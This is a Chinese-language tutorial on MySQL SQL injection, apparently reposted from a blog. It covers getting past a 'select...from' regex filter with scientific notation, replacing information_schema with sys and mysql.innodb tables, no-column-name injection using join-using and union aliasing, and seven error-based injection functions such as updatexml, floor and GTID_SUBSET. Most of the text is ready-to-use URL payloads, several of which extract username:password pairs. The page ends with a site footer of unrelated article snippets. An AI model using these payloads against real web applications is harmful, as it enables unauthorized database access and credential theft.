SQL注入绕过正则及无列名注入

渗透测试

  • 一、select\b[\s\S]*\bfrom正则
  • 二、科学计数法绕过
  • 三、过滤information
  • 四、无列名注入
    • 1、利用 join-using 注列名。
    • 2、无列名查询
  • 五、报错注入7大常用函数
    • 1.ST_LatFromGeoHash()(mysql>=5.7.x)
      • payload
    • 2.ST_LongFromGeoHash(mysql>=5.7.x)
      • payload
    • 3.GTID (MySQL >= 5.6.X - 显错<=200)
      • 3.1 0x01 GTID
      • 3.2 GTID_SUBSET() 和 GTID_SUBTRACT()函数
      • 3.3 0X02 函数详解
      • 3.4 0x03 注入过程( payload )
    • 4.floor(8.x>mysql>5.0)
      • 4.1 获取数据库版本信息
      • 4.2 获取当前数据库
      • 4.3 获取表数据
      • 4.4 获取users表里的段名
    • 5.ST_Pointfromgeohash (mysql>=5.7)
      • 5.1 获取数据库版本信息
      • 5.2 获取表数据
      • 5.3 获取users表里的段名
      • 5.4 获取字段里面的数据
    • 6 updatexml
    • 7 extractvalue

一、select\b[\s\S]*\bfrom正则

在这里插入图片描述
如果我们继续按照上次的思路去注入是肯定不行的:
在这里插入图片描述
下面我们去这个网站:https://regex101.com/
我们现在来看下这条语句:

select\b[\s\S]*\bfrom

在这里插入图片描述
这里我们可以看到,前面以及后面的\b时匹配单词的边界,\s\S是匹配**的所有字符,所以就把下面我们这条语句匹配上了。
在这里插入图片描述
所以说我们下面必须绕过这个正则表达式才可以查,下面我们可以看下匹配过程,第一步先匹配s,然后到select结束到小圆点我们可以看到\b匹配到了,然后到\s\S一下全部匹配上了,因为它匹配的是所有,继续匹配那么就得回溯了,往回走,继续匹配到小圆点也就是\b,然后继续匹配,到from之前开始正向匹配就把from匹配到了。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
所以说现在假如说我们可以让他不是from,问题在于没有函数可以使用,比如下面这几个都是报错的:
在这里插入图片描述
现在我们想的是既要绕过正则,又要把数据查出来,现在我们的办法是如果有个字符可以加在from前面,而且加不加它的效果一样,不影响我们进行查询就行。

二、科学计数法绕过

其实我们这里可以使用科学计数法:
我们这里首先正常查:
在这里插入图片描述
我们在from前面放1e1前面:
在这里插入图片描述
很明显这样是不行的,下面我们与之前我们学到的利用下,并在1e1之前加个,我们再来看下:

select group_concat(username,0x3a,password),1e1from users;

在这里插入图片描述
这里我们可以看到,很明显,查出数据了;这是为什么呢?
在这里插入图片描述
不加又不行,这里我们来看输出:
在这里插入图片描述
我们可以看到后面有一列1e1,然后下面是10,这个是对的,本来就是10,所以我们使用这样去查,就相当于给users多出来了一列,就是1e1,正常连肯定不行,但是我们是科学技术法:
在这里插入图片描述
也就是说我们通过这样的方式去查,也就是给users多出来了一列,这一列的值是10。所以这时我们发现如何绕过了,下面我们就谈论如何去查。
这里我们通过这三种去尝试:

 select * 1e1from users;
select username,1e1from users;
select username,password,1e1from users;

在这里插入图片描述
可以看到第一种星号肯定是不行的,所以我们查到肯定是后面加了一列,这里我们就得考虑怎么去写:
初步我们肯定是想直接union然后输入也就是下面:

?id=-1' union select 1,concat(username,0x3a,password),3,4,1e1from users--+

在这里插入图片描述
这是因为列数不对,前面是4列,后面是3列,所以我们需要改下列数:

?id=-1' union select 1,concat(username,0x3a,password),1e1from users--+

在这里插入图片描述
这样,我们就完成了绕过并查到。
这里绕过我们必须熟悉正则表达式以及科学计数法绕过。

三、过滤information

在这里插入图片描述
这个一限制,我们的很多表就不能用了,这又该怎么办,如果我们使用科学计数法绕过肯定是不行的,因为information肯定是必须的使用的。
上面我们使用科学计数法绕过,那是因为我们没有查information库而直接知道那个表查的。所以我们必须找到一个库来取代information,那么我们就绕过了。

mysql 中的 information_schema 这个库 就像时MYSQL的信息数据库,他保存着mysql 服务器所维护的所有其他的数据库信息, 包括了 库名,表名,列名。在注入时,information_schema库的作用就是获取 table_schema table_name, column_name。

查询表的统计信息,其中还包括Innodb缓冲池统计信息,默认情况下按照增删改查操作的总表I/O延迟时间(执行时间)降序排序

sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io

但是 sys.schema_auto_increment_columns 这个库有点局限 需要root 才能访问。

类似的,可以利用的表还有 :

mysql.innodb_table_statsmysql.innodb_table_index同样存放有库名表名

总结一下:

sys.schema_auto_increment_columns 
sys.schema_table_statistics_with_buffer
mysql.innodb_table_stats
mysql.innodb_table_index
均可代替 information_schema

我们下面来看下这个表:

sys.x$schema_table_statistics_with_buffer

在这里插入图片描述
我们可以看到这里面有很多字段,这里面有数据库名称、表名等等。
以及下面这个表:

sys.x$schema_table_statistics

在这里插入图片描述
这里我们也是可以看到数据库以及表名。
在这里插入图片描述
下面我们来看这个sys.x$ps_schema_table_statistics_io表:
在这里插入图片描述
但是上面几个表必须要root,一般肯定是没有root的,所以,sys的表一般都用不了,这里我们经常用的表是下面两个:

mysql.innodb_table_stats
mysql.innodb_table_index

所以,这里我们可以这样注入:

?id=-1' union select 1,concat(table_name),3,4 from mysql.innodb_table_stats--+

在这里插入图片描述
在这里插入图片描述

这个有一个缺陷,就是我们只能拿到表名,这个表里面没有列名,只有数据库以及表名,我们肯定是必须要知道列名才能注入,下面就涉及到了无列名注入。

四、无列名注入

1、利用 join-using 注列名。

通过系统关键字 join 可建立两表之间的内连接,通过对想要查询列名所在的表与其自身

爆表名
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_auto_increment_columns where table_schema=database()--+
?id=-1' union select 1,2,group_concat(table_name)from sys.schema_table_statistics_with_buffer where table_schema=database()--+爆字段名
获取第一列的字段名及后面每一列字段名
?id=-1' union select * from (select * from users as a join users as b)as c--+
?id=-1' union select * from (select * from users as a join users b using(id,username))c--+
?id=-1' union select * from (select * from users as a join users b using(id,username,password))c--+
数据库中as作用是起别名,as是可以省略的,为了增加可读性,建议不省略。

在这里插入图片描述
这里我们可以看到已经显示了一个列名,下面我们来一起看下这句话:

?id=-1' union select * from (select * from users as a join users as b)as c--+
select * from(select * from users as a join users)

首先我们可以看到它使用了联合查询以及子查询,子查询使用了连接,连接了它自己,两张相同的结果赋值给c,但是连接两张相同的表会导致字段重复,所以就可以帮助我们显示在屏幕上。所以我们此时把id拿出来。

?id=-1' union select * from (select * from users as a join users as b using (id))as c--+

在这里插入图片描述
我们这里以id去连接,可以看到显示username重复,然后我们以id,username去连接:

?id=-1' union select * from (select * from users as a join users as b using (id,username))as c--+

在这里插入图片描述
这里我们就可以看到显示password重复,我们这下以id,username,password去连接:

?id=-1' union select * from (select * from users as a join users as b using (id,username,password))as c--+

在这里插入图片描述
好,这里我们就可以知道三个字段取出来了,id,username,password取出来了,列已经取出来了,我们直接正常查:

?id=-1' union select 1,concat(username,0x3a,password),3 from  users--+

在这里插入图片描述
总结,使用mysql.innodb_table_stats mysql.innodb_table_index只能查出数据库名,表名,查不出列名,下面我们去查列名,使用连接的特性,然后进行一个一个取列名,找出所有的列名,最后我们直接进行查询。
当然,实际上有一种方法,原理在于select 1,2,3,4,5 union select * from users;这里我们就不用知道列名。

2、无列名查询

无列名注入关键就是要猜测表里有多少个列,要一一对应上,上面例子是有5个列
1,2,3,4,5 的作用就是对列起别名,替换为后面无列名注入做准备。

接着就可以使用数字来对应列进行查询,如3对应了表里面的password。

select `3` from (select 1,2,3,4,5 union select * from users)as a;
?id=-1' union select `3` from (select 1,2,3 union select * from users)as a;

在这里插入图片描述

select * from users

就相当于select pass from (select 1,2,3,4,5 union select * from users)as a;
当然,这里用户名在第二行也一样的:

select `2` from (select 1,2,3 union select * from users)as a;

这个语句就是先进行联合查询,然后给查询结果存储在别名为a的表里面。
在这里插入图片描述
在这里插入图片描述

SQL 中反引号是可以代表数据库名和列名的
(select 1,2,3,4,5 union select * from users)as a 把括号里的查询数据重命名一张新的表 a,在从中查询。
当反引号被禁用时,就可以使用起别名的方法来代替

select b from (select 1,2, 3 as b ,4,5 union select * from users)as a;

这里我们只有三列,所以:

select b from (select 1,2, 3 as b union select * from users)as a;

在这里插入图片描述
在注入时同时查询多个列

select group_concat(b,c) from (select 1,2, 3 as b , 4 as c ,5 union select * from users)as a;

绕过空格::直接注释
在这里插入图片描述
过滤and: 使用&&绕过
过滤#: 使用闭合’1’='1

五、报错注入7大常用函数

1.ST_LatFromGeoHash()(mysql>=5.7.x)

payload

and ST_LatFromGeoHash(concat(0x7e,(select user()),0x7e))--+

2.ST_LongFromGeoHash(mysql>=5.7.x)

payload

#同 8 ,都使用了嵌套查询

and ST_LongFromGeoHash(concat(0x7e,(select user()),0x7e))--+

3.GTID (MySQL >= 5.6.X - 显错<=200)

3.1 0x01 GTID

GTID是MySQL数据库每次提交事务后生成的一个全局事务标识符,GTID不仅在本服务器上是唯一的,其在复制拓扑中也是唯一的

3.2 GTID_SUBSET() 和 GTID_SUBTRACT()函数

3.3 0X02 函数详解

GTID_SUBSET() 和 GTID_SUBTRACT() 函数,我们知道他的输入值是 GTIDset ,当输入有误时,就会报错。

GTID_SUBSET( set1 , set2 ) - 若在 set1 中的 GTID,也在 set2 中,返回 true,否则返回 false ( set1 是 set2 的子集)
GTID_SUBTRACT( set1 , set2 ) - 返回在 set1 中,不在 set2 中的 GTID 集合 ( set1 与 set2 的差集)

3.4 0x03 注入过程( payload )

GTID_SUBSET函数
') or gtid_subset(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+
GTID_SUBTRACT
') or gtid_subtract(concat(0x7e,(SELECT GROUP_CONCAT(user,':',password) from manage),0x7e),1)--+

函数都是那样,只是适用的版本不同

4.floor(8.x>mysql>5.0)

4.1 获取数据库版本信息

')or (select 1 from (select count(*),concat(version(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.2 获取当前数据库

')or (select 1 from (select count(*),concat(database(),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.3 获取表数据

')or (select 1 from (select count(*),concat((select table_name from information_schema.tables where table_schema='test' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

4.4 获取users表里的段名

')or (select 1 from (select count(*),concat((select column_name from information_schema.columns where table_name = 'users' limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)--+

5.ST_Pointfromgeohash (mysql>=5.7)

5.1 获取数据库版本信息

')or ST_PointFromGeoHash(version(),1)--+

5.2 获取表数据

')or ST_PointFromGeoHash((select table_name from information_schema.tables where table_schema=database() limit 0,1),1)--+

5.3 获取users表里的段名

')or ST_PointFromGeoHash((select column_name from information_schema.columns where table_name = 'manage' limit 0,1),1)--+

5.4 获取字段里面的数据

')or  ST_PointFromGeoHash((concat(0x23,(select group_concat(user,':',`password`) from manage),0x23)),1)--+

6 updatexml

updatexml(1,1,1) 一共可以接收三个参数,报错位置在第二个参数

7 extractvalue

extractvalue(1,1) 一共可以接收两个参数,报错位置在第二个参数

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/235150.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

vcomp140.dll丢失怎么办,vcomp140.dll丢失解决方法详解

在我多年的电脑使用经历中&#xff0c;我曾经遇到过一个非常棘手的问题&#xff0c;那就是vcomp140.dll丢失。这个问题让我苦恼了很久&#xff0c;但最终我还是找到了解决方法。今天&#xff0c;我想和大家分享一下我的经历&#xff0c;以及vcomp140.dll是什么&#xff0c;它丢…

基于博弈树的开源五子棋AI教程[1 位棋盘]

0 引子 常见的五子棋棋盘大小为15x15&#xff0c;最直观的表示就是一个二维数据。本文为了易于拓展一开始使用的是QVector<QVector>的数据&#xff0c;但是在分支因子为10的情况下只能搜索到4层左右&#xff0c;后面深度加深&#xff0c;搜索时间呈指数倍数增长。这种实…

Python中的复数

复数一般表示为abi(a、b为有理数)&#xff0c;在python中i被挪着它用&#xff0c;虚数单位是不区分大小写的J。 (笔记模板由python脚本于2023年12月19日 18:58:39创建&#xff0c;本篇笔记适合认识复数的coder翻阅) 【学习的细节是欢悦的历程】 Python 官网&#xff1a;https:/…

Just Laws -- 中华人民共和国法律文库,简单便捷的打开方式

链接&#xff1a;JustLaws | Home 一个简洁便捷的中华人民共和国法律文库&#xff0c;而且收录比较完善&#xff0c;都是平常网民可能用到比较多的法律知识&#xff0c;目前包括宪法及宪法相关法、民商法、行政法、经济法、社会法、刑法和程序法等等 页面以文档的风格展示每一…

vue打包内存问题解决办法<--- Last few GCs ---><--- JS stacktrace --->

**<— Last few GCs —> [18484:0000026763669610] 106760 ms: Mark-sweep 4016.0 <— JS stacktrace —> FATAL ERROR: Ineffective mark-compacts near heap limit Allocation failed - JavaScript heap out of memory** 解决办法&#xff1a; set NODE_OPTION…

设计模式(三)-结构型模式(3)-装饰模式

一、为何需要装饰模式&#xff08;Decorator&#xff09;? 在软件设计中&#xff0c;某个对象会组合很多不同的功能&#xff0c;如果把所有功能都写在这个对象所在的类里&#xff0c;该类会包含很多复杂的代码逻辑&#xff0c;导致代码不美观且难以维护。于是就有了再定义一些…

Pytest自动化测试 - 必知必会的一些插件

Pytest拥有丰富的插件架构&#xff0c;超过800个以上的外部插件和活跃的社区&#xff0c;在PyPI项目中以“ pytest- *”为标识。 本篇将列举github标星超过两百的一些插件进行实战演示。 插件库地址&#xff1a;http://plugincompat.herokuapp.com/ 1、pytest-html&#xff1…

【物联网无线通信技术】WiFi从理论到实践(ESP8266)

文章从理论基础到具体实现完整的介绍了最常见的物联网无线通信技术&#xff1a;WiFi。 文章首先介绍了WiFi这种无线通信技术的一些基本概念&#xff0c;并针对其使用的802.11协议的基本概念与其定义的无线通信连接建立过程进行了简单的介绍&#xff0c;然后对WiFi开发常常涉及的…

【强化学习】Deep Q Learning

Deep Q Learning 在前两篇文章中&#xff0c;我们发现RL模型的目标是基于观察空间 (observations) 和最大化奖励和 (maximumize sum rewards) 的。 如果我们能够拟合出一个函数 (function) 来解决上述问题&#xff0c;那就可以避免存储一个 (在Double Q-Learning中甚至是两个…

git的使用思维导图

源文件在github主页&#xff1a;study_collection/cpp学习/git at main stu-yzZ/study_collection (github.com)

Unity的UI界面——Text/Image

编辑UI界面时&#xff0c;要先切换到2d界面 &#xff08;3d项目的话&#xff09; 1.Text控件 Text控件的相关属性&#xff1a; Character:&#xff08;字符&#xff09; Font&#xff1a;字体 Font Style&#xff1a;字体样式 Font Size&#xff1a;字体大小 Line Spac…

华清远见嵌入式学习——ARM——作业1

要求&#xff1a; 代码&#xff1a; mov r0,#0 用于加mov r1,#1 初始值mov r2,#101 终止值loop: cmp r1,r2addne r0,r0,r1addne r1,r1,#1bne loop 效果&#xff1a;

用户管理第2节课--idea 2023.2 后端规整项目目录

目的&#xff1a;当项目文件多了之后&#xff0c;咱们也能够非常清晰的去找到代码的一个目录 一、项目规整了两大处 1.1 com.yupi.usercenter & resources 二、具体操作 com.daisy.usercenter 2.1 原版 & 鱼皮有出入&#xff0c;demos.web就不删除了 原因&#…

Aurora8B10B(二) 从手册和仿真学习Aurora8B10B

一. 简介 在上篇文章中&#xff0c;主要结合IP配置界面介绍了一下Aurora8B10B&#xff0c;这篇文章将结合文档来学习一下Aurora8B10B内部的一些细节 和 相关的时序吧。文档主要是参考的是这个 pg046-aurora-8b10b-en-us-11.1 二. Aurora8B10B内部细节 在手册上&#xff0c;对…

VR全景是什么?普通人该如何看待VR全景创业?

如果你还没有开始了解VR&#xff0c;那么不妨驻足几分钟细致的了解一下&#xff0c;你就会对VR全景行业有不一样的看法。VR全景与普通的平面图片和视频相比&#xff0c;具有更加丰富的视觉体验和交互性&#xff0c;基于真实场景的全景图像的虚拟现实技术&#xff0c;制作流程简…

Maven仓库上传jar和mvn命令汇总

目录 导入远程仓库 命令结构 命令解释 项目pom 输入执行 本地仓库导入 命令格式 命令解释 Maven命令汇总 mvn 参数 mvn常用命令 web项目相关命令 导入远程仓库 命令结构 mvn deploy:deploy-file -Dfilejar包完整名称 -DgroupIdpom文件中引用的groupId名 -Dartifa…

Ubuntu 常用命令之 apt-get 命令用法介绍

apt-get是Ubuntu系统下的一个命令行工具&#xff0c;用于处理包。这个命令可以自动下载和安装软件包及其依赖项。它是Advanced Packaging Tool (APT)的一部分&#xff0c;APT是处理包的高级工具&#xff0c;可以处理复杂的包关系&#xff0c;如依赖关系等。 apt-get命令的常见…

一个真正的软件测试从业人员必备技能有哪些?

协同开发能力&#xff1a; 1. 项目管理&#xff08;SVN、Git&#xff09; 2. 数据分析能力&#xff08;Fiddler、Charles、浏览器F12&#xff09;。 接口测试&#xff1a; 1. 概念及接口测试原理概念&#xff08;概念、接口测试原理&#xff09; 2. 接口测试工具&#xff…

数据工作者最爱的AI功能,你知道吗~

在工作中难以避免的一项任务就是各种数据总结和汇报&#xff0c;怎么分析总结&#xff1f;以何种形式汇报&#xff1f;都是具有一定的难点&#xff0c;所以我要推荐的就是具有AI图表解析功能的可视化工具——Easyv数字孪生低代码可视化平台。可实现对数据的可视化展示&#xff…

软件测试项目测试报告总结

测试计划概念&#xff1a;就在软件测试工作实施之前明确测试对象&#xff0c;并且通过资源、时间、风险、测试范围和预算等方面的综合分析和规划&#xff0c;保证有效的实施软件测试。 需求挖掘的6个方面&#xff1a; 1、输入方面 2、处理方面 3、结果输出方面 4、性能需求…